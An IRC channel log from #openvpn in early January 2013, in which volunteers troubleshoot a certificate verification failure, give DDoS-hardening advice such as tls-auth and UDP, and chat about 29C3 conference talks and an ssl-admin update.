17:38 -!- Porkepix [~Porkepix@lns-bzn-55-82-255-140-221.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
17:40 -!- Porkepix [~Porkepix@lns-bzn-55-82-255-140-221.adsl.proxad.net] has joined #openvpn
17:57 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
18:12 <+dvl> using ssl-admin, I see crl.pem in the prog directory? that seems like I shouldn't be picking that up directly.  But that's exactly what I plan to do.
18:33 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
18:43 <@krzee> just make sure its new
18:57 <+dvl> Yeah, it is.
18:57 <+dvl> Got server started with new keys and ca.crt
18:57 <+dvl> but? client can't authenticate yet
18:58 <+dvl> server say: TLS Error: TLS handshake failed
18:58 <+dvl> client says: TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
18:59 <+dvl> just verified cert on client: openssl verify -CAfile ca.crt client.crt
19:00 <+dvl> And done similar on server.
19:03 <+dvl> same issue, both server and client cert: openssl x509 -subject -issuer -noout -in client.crt
19:05 <+pekster> Read the client error more careefully: it's complaining about the server certificate (the one being presented to it from the server)
19:05 <+pekster> The client is failing to verify the cert presented over the wire against the locally configured CA cert file
19:07 <@krzee> md5 both ca.crt's
19:08 <@krzee> be sure they match (assuming they're supposed to, which they normally are)
19:09 <+dvl> both certs are valid from 2 jan, and it's 3 jan (utc)
19:09 <+dvl> yeah, I did that, will do it again
19:10 <+dvl> # md5 ca.crt | grep b45a9a69e954ea70cbfd7c3bb46537e0
19:10 <+dvl> MD5 (ca.crt) = b45a9a69e954ea70cbfd7c3bb46537e0
19:10 <+dvl> they match
19:10 <+dvl> pekster:  I see what you mean.
19:11 <+dvl> pekster:  so, I'm wondering how that's possible if the ca.crt file is the same .. .checking
19:11 <+pekster> Who says your server's currently used cert was actually signed by that CA? ;)
19:12 <@krzee> !certinfo
19:12 <@vpnHelper> "certinfo" is run `openssl x509 -in <file> -noout -text` for info from your cert file
19:12 <@krzee> err no
19:12 <@krzee> !certverify
19:12 <@vpnHelper> "certverify" is (#1) verify your certs are signed correctly by running `openssl verify -CAfile <ca.crt> <client.crt>` for client.crt and server.crt or (#2) also make sure you use the same ca.crt on both sides by checking their md5
19:12 <@krzee> that ^
19:12 <+pekster> Well, that could be updated to indicate that you need to check the *opposing* peer's cert against your *local* CA
19:13 <@krzee> pekster, ya but i dont wanna get confusing, anyone asking about this stuff should be using the same ca.crt on both sides
19:13 <+dvl> I've run verify already (see above), but I'll run it again.
19:13 <+pekster> dvl: No, you checked the *client* cert against the *client's* CA cert. That's not what you need to be doing
19:13 <@krzee> pekster, the ca.crt's match md5
19:14 <+pekster> So? The server doesn't check its own cert against the CA
19:14 <+dvl> pekster:  we've already established that the ca.cert match
19:14 <+pekster> The client does
19:14 <@krzee> checking against local ca.crt IS checking against the other side
19:14 <@krzee> since they are the same exact ca.crt
19:14 <+pekster> Oh, if the CA's match and he did that on the server too?
19:14 <+pekster> k
19:14 <+pekster> nvm, I missed that part
19:14 <@krzee> right, needs to do it on server too
19:15 <+dvl> I ran verify before, on both client and server.    Just ran it again.
19:15 <+dvl> I also checked that the openvpn.conf file referred to said ca.crt
19:16 <+dvl> Hmmm.
19:16 <+dvl> FWIW, this was a working configuration before I changed the certs
19:16 <@krzee> run ntpdate on both machines?
19:16 <@krzee> although the error should be different if it was time
19:17 <+dvl> yes
19:17 <+pekster> You checked directories? Sometimes if you do (or don't) use a 'cd' dir your relative path can be misleading
19:17 <+dvl> times match.  just verified.
19:18 <@krzee> ^ same if you chroot
19:18 <+dvl> pekster:  no relative paths in config file.  I copy pasted the names and ran verify again.
19:18 <+pekster> Upping the verbosity might help too: verb 5 is a good place to start (not sure offhand if higher levels of debug verbosity, say 6-7 would be more helpful with TLS issues)
19:18 <+dvl> no chroot involved.
19:18 <+dvl> Bumping verb on client
19:18 <@krzee> i would never use more than verb 5, plaisthos might tho
19:19 <@krzee> since he digs in that code, and im a mere user
19:19 <+dvl> ahuh
19:19 <+dvl> openvpn[73944]: VERIFY nsCertType ERROR
19:19 <+pekster> There ya go
19:19 <+dvl> there you go? I bet it's the client, not hte server.
19:19 <+dvl> Fixing.
19:19 <@krzee> ahh
19:20 <@krzee> well depends how you look at it
19:20 <@krzee> the problem is the server cert, or the client config
19:20 <+pekster> That can be either. 'nsCertType' is a Netscape-era option; personally, I prefer using KU/EKU fields, but they all really do the same thing
19:20 <@krzee> although if you say the problem is client config, you may be open to MITM attacks
19:21 <@krzee> yep^  i say "may" because theres 2 ways to check it is signed as the server (what pekster said above)
19:21 <+dvl> I've been using ssl-admin for the first time.  I *know* I created both certificates with the same steps.
19:21 <+pekster> krzee: I just hate "Netscape" crap in my certs :P (call me a purist if you like :D )
19:21 <+dvl> S) Create new Signed Server certificate
19:21 <+dvl> I shall update my notes.
19:22 <@krzee> :D
19:22 <+dvl> Folks: I'm sure this is the problem.  Thank you for bearing with me.  :)
19:22 <+pekster> Well, ssl-admin apparently doesn't include the nsCertType X509 field. It's a dumb field anyway, in my not-so-humble opinion
19:22 <@krzee> yes it does
19:22 <@krzee> i added the option to it years ago
19:22 <@krzee> its the option: S
19:22 <+pekster> Ah. I suppose, if people use the tls-verify directive you'd need it
19:23  * pekster sometimes forgets most folks like helper-directives
19:24 <+dvl> success!
19:24 <+dvl> Thank you folks.  FYI, I'm writing up a how-to.
19:24 <+dvl> GOod error.
19:25 <+dvl> I've also raised three tickets.
19:25 <+pekster> When in doubt, get more error verbosity ;)
19:25 <+dvl> [not related to tonight]
19:25 <+dvl> yes.  Good plan
19:25 <+pekster> If that fails, open a beer and dig into the code :P (or find help)
19:25 <@krzee> oh maybe im wrong
19:25 <@krzee> i added whatever it was that makes nscerttype server work
19:25 <@krzee> whatever that was, lol
19:26 -!- F^4[A] is now known as F^4
19:26 <+pekster> Yea, that's nsCertType (or w/e the ANSI-name for that field is formally. I'm not OCD enough to find you the OID :D )
19:26 -!- raidz is now known as raidz_away
19:27 <@krzee> ya niether of us care too much :D
19:28 <@krzee> im working at talking to 2 girls via sms on my phone
19:28 <@krzee> working AND talking*
19:28 <+pekster> Well, I'm watching a 1h talk from 29C3 on the Russian surveillance state. Maybe you're doing it right, I dunno :P
19:28 <+pekster> Some day maybe I'll have a gal that enjoys curling up and watching it too ;)
19:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:30 <@krzee> thats asking too mucg
19:30 <@krzee> much*
19:31 <@krzee> if you can find one who can deal with you watching those all night, shes good enough
19:31 <@krzee> lol
19:31 <+pekster> Could be. I've heard some good questions posed to the speakers from women at 29C3 too ;)
19:31 <@krzee> got the link handy?  that sounds good
19:32 <+pekster> Talk ID: 5402 from http://mirror.fem-net.de/CCC/29C3/mp4-h264-HQ/ (the torrents are mighty fast, and I like taking pressure off the http mirrors.) Full event list here: https://events.ccc.de/congress/2012/Fahrplan/day_2012-12-27.en.html
19:32 <@vpnHelper> Title: Index of /CCC/29C3/mp4-h264-HQ/ (at mirror.fem-net.de)
19:33 <@krzee> thanks
19:33 <+pekster> J. Appelbaum's opening 'not my department' and the 'enemies of the state' were also good talks. If you're into PKI, the 'certificate authority collapse' was also a nice watch
19:34 <+pekster> Tons of good stuff from this year's conference
19:34 <@krzee> always good stuff at ccc
19:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:36 <+dvl> ls all up and running now
19:36 <+dvl> :)
19:37 <@krzee> o/
19:37 <@krzee> hacking cisco phones… sounds fun!
19:38 <@krzee> <--- likes voip
19:38 <@krzee> shit i wanna see half of these
19:38 <@krzee> i gotta go out there some year
19:46 < kisom> Sucks harald didn't speak at 29C3
19:46 < kisom> In fact, there are no good GSM talks imo
19:47 < kisom> krzee: Need someone to go with? I know I do
19:50 < chrisb> does CCC equal chaos computer club?
19:50 <+pekster> Yea
19:51 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
19:54 <@krzee> sure, wanna pick me up in the caribbean?  haha
20:16 < kisom> Cuba?
20:23 <@krzee>         15.3G scanned out of 381G at 3.38M/s, 30h46m to go
20:23 <@krzee>         15.3G resilvered, 4.01% done
20:40 < EugeneKay> k
20:42 < chrisb> krzee: zfs?
20:56 -!- Sorinan [~bcdonadio@177.18.136.35] has joined #openvpn
20:57 < Sorinan> there's a way to specify a command to run before any connection is made in OpenVPN client?
20:58 < Sorinan> or maybe something like ProxyCommand from SSH, to run a command and pipe the connection trough it?
21:06 <@krzee> chrisb, yep
21:07 <@krzee> Sorinan, run the command whereever you start openvpn, and just run the command before you start openvpn
21:07 <@krzee> or have a look at the places scripts hook into openvpn and see if one is what you want
21:07 <@krzee> !script
21:08 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
21:11 < Sorinan> krzee, and it's possible to pipe the openvpn connection through an existing connection?
21:12 < Sorinan> the idea is to automate things with network-manager, so having to create the connection manually beforehand isn't pratical
21:23 <@krzee> i have no idea what you mean
21:23 <@krzee> what existing connection…?
21:32 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 244 seconds]
21:32 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 240 seconds]
21:33 < Sorinan> krzee, so, basically I can use the ProxyCommand feature in SSH to create a connection to a middleman, instruct this middleman to netcat my final server, and then use this connection to access the final server via SSH
21:33 < Sorinan> I was wondering if I could do something similar with openvpn
21:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
21:33 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
21:34 < Sorinan> in a nutshell: tell OpenVPN to create a SSH connection to a middleman, forward this connection to the final server, and use this pipe created to communicate
21:44 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
21:53 -!- brute11k [~brute11k@89.249.230.141] has joined #openvpn
21:58 -!- Sorinan [~bcdonadio@177.18.136.35] has quit [Quit: Saindo]
22:03 -!- HyperGlide [~HyperGlid@222.211.121.189] has joined #openvpn
22:04 <+pekster> photo from a 29C3 talk on factoring RSA primes, disscussing in this case a 1024-bit pubkey: http://pekster.sdf.org/misc/bluffdale_power.png
22:05 <+pekster> I've been using larger for some time, but hopefully someone still using key sizes under 2k bits is re-thinking their usage now
22:07 <+pekster> (oh, image updated with a slide a moment later)
22:12 -!- baobei_ [~baobei@58.37.20.245] has quit [Read error: Connection reset by peer]
22:13 -!- baobei_ [~baobei@58.37.20.245] has joined #openvpn
22:17 -!- nikoc31337 [~maniac@adsl-26.176.58.244.tellas.gr] has joined #openvpn
22:17 < nikoc31337> hey
22:18 < nikoc31337> !welcome
22:18 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
22:18 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
22:18 < nikoc31337> I would like some info related openvpn server ddos protection.
22:18 < nikoc31337> anyone available to give me his lights? :P
22:21 <+pekster> nikoc31337: Your best bet when using X509 is to add a --tls-auth key between peers to prevent the abuse of resources by unauthenticated attackers. The manpage goes into detail on using this and what the technical advantages are that prevent wasting resources from external attackers
22:22 <+pekster> You can also run OpenVPN on a non-standard port (say, a high randomly-selected port.) UDP will also be better, especially when combined with the --tls-auth feature, since it's far less open to port-scanning attacks
22:30 < nikoc31337> Well, im running other hosting services at the moment.
22:31 < nikoc31337> And the company i have my servers on, offers ddos protection for port 80 and 443
22:32 <+pekster> Then I don't really get what you're asking. OpenVPN has some internal protection against the traditional threat of ddos, which is resource consumption and hanging connections. Use of --tls-auth and UDP reduces these impacts. If you want to do upstream filtering of apparent DDoS through your ISP, that's outside the scope of OpenVPN and I'm unclear what you mean if you're asking about that
22:32 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
22:32 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
22:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
22:32 -!- mode/#openvpn [+o krzee] by ChanServ
22:34 < nikoc31337> Im hearing all everywhere that VPN Services keep getting hitted by DDOS attacks.
22:35 < nikoc31337> Im planning on starting a VPN Service soon and this is a thing im stuck on.
22:36 < nikoc31337> If someone attack port 1194, would the server go down?
22:36 <+pekster> Depends on the scale of the DDoS. Your best bet if you're concerned about becoming a target (such as a high-profile server, etc) is to do exactly what I said above and use --tls-auth support and run on a non-standard port (something besides 1194 or 5000)
22:37 < nikoc31337> Hm, isn't the port shown on the customers?
22:37 <+pekster> If you have configs that will end up semi-public (to end-users, etc) then the port question is somewhat irrelevant since it would be easy to discover what other port you're using
22:37 < nikoc31337> Yeah..
22:38 <+pekster> Did you read about --tls-auth in the manpage? I think that basically addresses the resource-exhaustion issue you're primarily concerned with
22:39 <+pekster> Otherwise, feel free to contract with your ISP to throttle requests if you get more than a specified number of new (non-existing) connections in a period of time. I can't help you with that since that would be an issue between you and your ISP
22:39 < Devastator> keep in mind that if your server is hit in a port that's used by another service, your server CAN go down as well, it's the nature of ddos attack, openvpn isn't to blame
22:39 < nikoc31337> yeah, im not planning on hosting something else -- than openvpn server.
22:40 < rkantos> just start off with cloud flare or similiar atleast :D
22:40 < nikoc31337> cloudflare is used for websites :P
22:40 < rkantos> yeah but you never know in this day and age if your 1TB memory server hosts everything you do ;)
22:41 < nikoc31337> :D
22:41 < rkantos> with some 10Gb/s cards, you can do quite the shit with one 4u server
22:42 <+pekster> Save money and buy our meta-basket: it's so good, it'll hold all your eggs without the need to ever worry about baskets again!
22:42 < rkantos> 32 cores, 512GB DDR, 4x10Gb/s ports 10-15k maybe?
22:42 < nikoc31337> Can the server run under port 443?
22:42 < nikoc31337> actually let the customers connect under port 443
22:42 < nikoc31337> which will be filtered
22:43 < rkantos> I'd think it can
22:43 <@krzee> !hmac
22:43 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
22:43 < rkantos> but it'll perhaps create some conflicts?
22:43 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
22:43 < nikoc31337> you say?
22:43 <+pekster> rkantos: TCP is far more abusive and resource-consuming in early connections than UDP, and also has its own set of problems. Unless you need TCP, you shouldn't use it
22:44 <+pekster> !tcp
22:44 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
22:44 < nikoc31337> so, pekster
22:44 <@krzee> and with udp you can add hmac signatures
22:44 < rkantos> pekster: yeah
22:44 < nikoc31337> do you think it would create any conflicts
22:44 <@krzee> which is an anti layer 7 ddos feature
22:45 < nikoc31337> if it was running under port 443?
22:46 <+pekster> "conflicts" ? Not unless something else is using that port. A port is a number. You can run OpenVPN on UDP 443, TCP 443, UDP port 1, or UDP port 65535. It's just a number
22:46 < rkantos> well 443 is used by HTTPS..
22:46 < nikoc31337> With traffic filtering.
22:46 <+pekster> I've no clue since I'm not your ISP and have no idea how your ISP filters
22:46 <+pekster> !notovpn
22:46 < rkantos> but ofcourse that doesn't matter for the client
22:46 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
22:47 < rkantos> what is it with everybody on this channel knowing how to use the !-marks
22:47 < rkantos> or spawn them in an instant :D
22:47 <+pekster> rkantos: Becuase people who come here often ask the same questions our bot can answer
22:48 <+pekster> I'm not going to type out several answers explaing that I can't explain a question about an ISP I have never worked with before
22:48 < rkantos> yeayea, but why does everyone know the commands in an instant
22:48 <+pekster> I use dozens of them frequently. You can find a full list here:
22:48 <+pekster> !factoids
22:48 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
22:48 < nikoc31337> Thanks for the help pekster:)
22:49 <+pekster> nikoc31337: Yup. Ultimately I think you're better off using OpenVPN on UDP, change the port if you like (not really helpful, but maybe a little) and use --tls-auth. That's *probably* better than any filtering your ISP can do
22:50 <+pekster> If you need more than that, invest in hardware solutions or contract upstream (ISP, hosting provider, etc) for further protection closer to the Internet source
22:54 < nikoc31337> in your opinion the best OS to run the server on is?
22:54 <+pekster> !bestos
22:54 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
22:54 < nikoc31337> that's cool
22:54 < nikoc31337> thanks a lot mate
22:54 <+pekster> Depends on what you want to do, really ;). I'd recommend a Linux or Unix varient, but that's just me personally
22:54 < nikoc31337> appreciate it :)
22:54 < nikoc31337> yeah im using centos:)
22:54 <@krzee> if you're worried about dos attacks you should be on udp
22:55 < rkantos> aren't most vpn services udp anyway?
22:55 <+pekster> Yea, that was my advise too; the ISP apparently offers some "filtering" service for select ports, but I'm guessing it's based on protocol (bound to those ports, perhaps) and not the ports themselves
22:55 < rkantos> or both
22:55 <@krzee> tcp cant use hmac sigs which means layer7 can be attacked
22:55 <@krzee> yep
22:56 < nikoc31337> do you think if i use the server with GUI admin panel
22:56 < nikoc31337> It would make the server unstable or something.
22:56 < nikoc31337> Generate of customer configs is easier with gui
22:56 <@krzee> if you must go that route, firewall the hell out of that crap
22:56 < rkantos> nikoc31337: cloudflare?
22:56 < rkantos> or wha
22:57 < nikoc31337> ?
22:57 < rkantos> what kind a GUI you mean?
22:57 <@krzee> in fact maybe only run it on a separate vpn server ip that only you have pki into
22:57 <@krzee> and dont allow any ip forwarding to that interface
22:58 < nikoc31337> Yeah i had this on my mind
22:58 < nikoc31337> Admin web interface, is installed always when installing a access server?
22:58 <+pekster> krzee: Um, I just turned on tls-auth in a tcp-server configuration and it worked fine. You can still handshake across TCP, but the HMAC and packet-dropping feature works just fine
22:58 <@krzee> coulda sworn that was udp only!
22:59 <+pekster> Nope. it's applied right to the TLS channel directly
22:59 <+pekster> (think of it sorta like 802.1Q)
23:02 <+pekster> Remember that it's just TLS; the data channel itself doesn't have any extra signature added since the goal is to prevent abuse of resources handshaking, encoding, and decoding TLS traffic (which is computationally expensive.) Mallicious handling of data-stream packets is detected via normal hashing methods and dropped as malformed, but that's far-cheaper in terms of computing power
23:10 <@krzee> meh and the manual clearly says "on the udp/tcp port" i wonder where i got that false idea
23:10 -!- hounge [~andro@5.254.147.250] has joined #openvpn
23:13 <@krzee> so it always hashes the control channel packets
23:14 <+pekster> Well, the control channel is secured via X509 pubkey crypto. --tls-auth adds an *extra* symmetric-based hash on top of this so the receiver doesn't have to use (expensive) pubkey crypto to see if the sender knows the PSK
23:15 <@krzee> and stops something like slowloris-ovpn from existing
23:30 -!- hounge [~andro@5.254.147.250] has quit [Ping timeout: 256 seconds]
23:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
--- Day changed Thu Jan 03 2013
00:06 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
00:14 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
00:21 -!- cosmicgate-- [~cosmicgat@113.210.102.213] has joined #openvpn
00:23 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Ping timeout: 252 seconds]
00:34 -!- AndroUser2 [~andro@5.254.147.182] has joined #openvpn
00:36 -!- Porkepix [~Porkepix@lns-bzn-55-82-255-140-221.adsl.proxad.net] has quit [Ping timeout: 252 seconds]
00:38 -!- cosmicgate-- [~cosmicgat@113.210.102.213] has quit [Ping timeout: 255 seconds]
00:38 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has joined #openvpn
00:53 -!- AndroUser2 [~andro@5.254.147.182] has quit [Ping timeout: 272 seconds]
00:55 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Quit: Ex-Chat]
01:35 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
01:47 -!- F^4 is now known as Yawa
01:57 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
02:02 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
02:17 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 244 seconds]
02:36 -!- cosmicgate-- [~cosmicgat@113.210.102.213] has joined #openvpn
02:38 -!- cosmicgate- [~cosmicgat@you.think.japan.is.cool.well.cosmicgate.is.stuck.injp.net] has quit [Ping timeout: 240 seconds]
02:40 -!- cosmicgate-- [~cosmicgat@113.210.102.213] has quit [Ping timeout: 240 seconds]
02:41 -!- cosmicgate- [~cosmicgat@198.147.22.172] has joined #openvpn
02:41 -!- HyperGlide [~HyperGlid@222.211.121.189] has left #openvpn ["Leaving..."]
02:48 -!- cosmicgate- [~cosmicgat@198.147.22.172] has quit []
03:13 -!- Porkepix [~Porkepix@lns-bzn-55-82-255-140-221.adsl.proxad.net] has joined #openvpn
03:23 -!- Denial [Denial@92.239.45.77] has joined #openvpn
03:40 -!- nikoc31337 [~maniac@adsl-26.176.58.244.tellas.gr] has quit []
04:17 -!- baobei_ [~baobei@58.37.20.245] has quit [Quit: Leaving]
04:21 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
04:25 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 248 seconds]
05:32 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
05:36 -!- dazo_afk is now known as dazo
05:43 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
05:44 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
06:53 -!- m0sphere` [~m0sphere@S01060018e78c9cff.cg.shawcable.net] has joined #openvpn
06:53 -!- m0sphere [m0sphere@S01060018e78c9cff.cg.shawcable.net] has quit [Read error: Connection reset by peer]
07:07 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:24 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
07:40 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
07:40 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Quit: Don't flap your BGP at me sonny]
07:53 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Remote host closed the connection]
07:57 -!- ag4ve [~ag4ve@96.26.67.194] has quit [Ping timeout: 245 seconds]
07:59 -!- ag4ve [~ag4ve@96.26.67.194] has joined #openvpn
08:04 -!- manitu [~Thunderbi@h-213.61.163.68.host.de.colt.net] has joined #openvpn
08:05 -!- zol_ [~z@del63-4-78-248-82-46.fbx.proxad.net] has joined #openvpn
08:06 < manitu> hi ho.. can i use openvpn as proxy?.. i tried it like that: get the google.com dns, "ip route add google_ip/32 via my_vpn_ip" and then "ping google.com" .. before i got an answer from google, after adding the route there is no answer anymore
08:08 <@dazo> manitu: no, openvpn is not a proxy .... openvpn is a VPN solution, which is completely different from what a proxy does
08:10 < manitu> dazo: i know.. but i have a ipsec network without any leftsubnet.. i want to connect to a server by openvpn to access the ipsec devices.. thats the problem if not every devices knows openvpn :/
08:10 < manitu> *device
08:10 <@dazo> then you need to learn about routing
08:12 < zol_> Is it intersting to put a 8192 rsa key ? ( not 1024 or 2048 defaut )
08:12 < zol_> or 4096
08:12 < manitu> yea.. but thats a problem, because in ipsec you need to define a "leftsubnet", so the ipsec server accepts traffic from this subnet.. but the server provider can't add any subnet in that "device" for me.. so i need to rewrite the source ip, like a proxy does.. i hoped that openvpn could manage that, if i define the destination address-range
08:14 < manitu> i also can connect to ipsec on the client, which is already connected to the central openvpn server.. but i'm thinking of "routing" this traffic as a really nice way.. and not every device needs the ipsec client
08:16 -!- nikoc31337 [~maniac@adsl-26.176.58.244.tellas.gr] has joined #openvpn
08:16 < nikoc31337> Hey, i have one question.
08:16 <@dazo> zol_: the stronger key, the longer it will take to crack it
08:16 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Ping timeout: 264 seconds]
08:16 < nikoc31337> Is it possible to generate client config
08:17 < nikoc31337> through the admin web gui?
08:17 <@dazo> nikoc31337: sounds like you should as in !AS
08:17 <@dazo> !AS
08:17 <@vpnHelper> "AS" is please go to #OpenVPN-AS for help with Access-Server
08:17 <@dazo> (the community edition doesn't have any admin web gui)
08:17 < nikoc31337> Thanks !
08:17 <@dazo> no worries!
08:18 <@dazo> manitu: I have no experience with ipsec ... so I dunno how this leftsubnet works ....
08:26 -!- brute11k [~brute11k@89.249.230.141] has quit [Ping timeout: 265 seconds]
08:30 -!- brute11k [~brute11k@89.249.230.141] has joined #openvpn
08:33 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
08:34 < manitu> dazo: going to try a NAT with iptables now.. i hope that works somehow.. and thank you :)
08:36 -!- pie__ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
08:37 < pie__> Is there a way to add an arbitrary lan ip to the vpn?
08:37 < pie__> So for example I could access 192.168.1.43 via 10.3.0.14 or somesuch
08:38 < pie__> this is on the server lan
08:40 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
08:46 <@ecrist> dvl: ping - I replied to your email, update to ssl-admin in the pipe
08:46 < dvl-_> checking...
08:49 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Changing host]
08:49 -!- plaisthos [~arne@openvpn/developer/plaisthos] has joined #openvpn
08:49 -!- ServerMode/#openvpn [+v plaisthos] by verne.freenode.net
08:49 -!- mode/#openvpn [-v plaisthos] by ChanServ
08:49 < dvl-_> updating
08:49 -!- Porkepix [~Porkepix@lns-bzn-55-82-255-140-221.adsl.proxad.net] has quit [Ping timeout: 255 seconds]
08:51 -!- plaisthos [~arne@openvpn/developer/plaisthos] has quit [Changing host]
08:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
08:51 -!- mode/#openvpn [+o plaisthos] by ChanServ
08:51 <@ecrist> EugeneKay: ping - please contact mattock when you've time
08:51 -!- Porkepix [~Porkepix@lns-bzn-29-82-248-243-164.adsl.proxad.net] has joined #openvpn
08:53 < EugeneKay> Mrh
08:53 < EugeneKay> Like, by email?
08:54  * plaisthos can now no longer hide as "just a visitor without op/voice"
08:54 <@ecrist> lol
08:54 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
08:54 <@ecrist> EugeneKay: IRC/PM or email - he has a present for you
08:54 < EugeneKay> If he needs my address, `whois eugenekay.com`
08:55 <@ecrist> kk
08:55 < |Mike|> lol
08:55 <@ecrist> is your shirt size listed there, too?
08:55 < EugeneKay> Possibly, but XL is fine.
08:55 < |Mike|> xs!
08:56 -!- mode/#openvpn [+v EugeneKay] by ChanServ
08:56 <+EugeneKay> I must have reconnected at some point. I knew something was missing
08:56 <@mattock> EugeneKay: roger that
08:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: Changing server]
08:57 <+EugeneKay> <3
08:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
08:59 -!- mode/#openvpn [+o plaisthos] by ChanServ
09:22 < dvl-_> ecrist : typo in 1.0.5, see email
09:24 -!- StFS [~stefan@gagnasetur.ru.is] has left #openvpn []
09:24 <@ecrist> *grumble*
09:25 <@ecrist> ah, that's relatively minor, though.
09:26 < dvl-_> yeah... but it's conifiguration... ;)
09:36 < dvl-_> ecrist: Am I correct in seeing that the question: Can I move signing request (supernews.example.org.csr) to the csr directory for archiving? (y/n): ===> supernews.example.org.csr moved.
09:36 < dvl-_> ... is always ignored?  I don't recall answering that question.
09:38 <@ecrist> in 1.0.5 it's answered as 'y' automatically when you use option 4
09:39 < dvl-_> Good.
09:39 <@ecrist> dvl-_: the config filename typo - been around for nearly 4 years in that state, you're the first to mention it
09:40 <@ecrist> not anticipating a flood of email
09:40 <@ecrist> ;)
09:41 < dvl-_> It's not been written up on FreeBSD Diary before.  ;)
09:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
09:44 <@ecrist> heh
09:49 < dvl-_> ecrist: I ran 1.0.5 and updated the post with the new 'screen shots'.
09:49 -!- manitu [~Thunderbi@h-213.61.163.68.host.de.colt.net] has quit [Quit: manitu]
09:52 <@ecrist> did the rest of my notes make sense?
09:56 <@ecrist> dvl-_: on freebsd, if you're using the openvpn port install, you can just use relative pathing the config
09:57 <@ecrist> so, if you're putting your keys in /usr/local/etc/openvpn/keys, you can just have keys/ca.crt, etc
09:57 <@ecrist> the openvpn rc script adds the --cd option to the startup, and makes /usr/local/etc/openvpn the pwd
09:58 < dvl-_> ecrist: which will make chroot easier....
10:01 < dvl-_> ecrist: I've made that note in the post.
10:10 < dvl-_> ecrist: OK, ready to publish.  Schedule for 9pm tonight.
10:10 <@ecrist> neat!
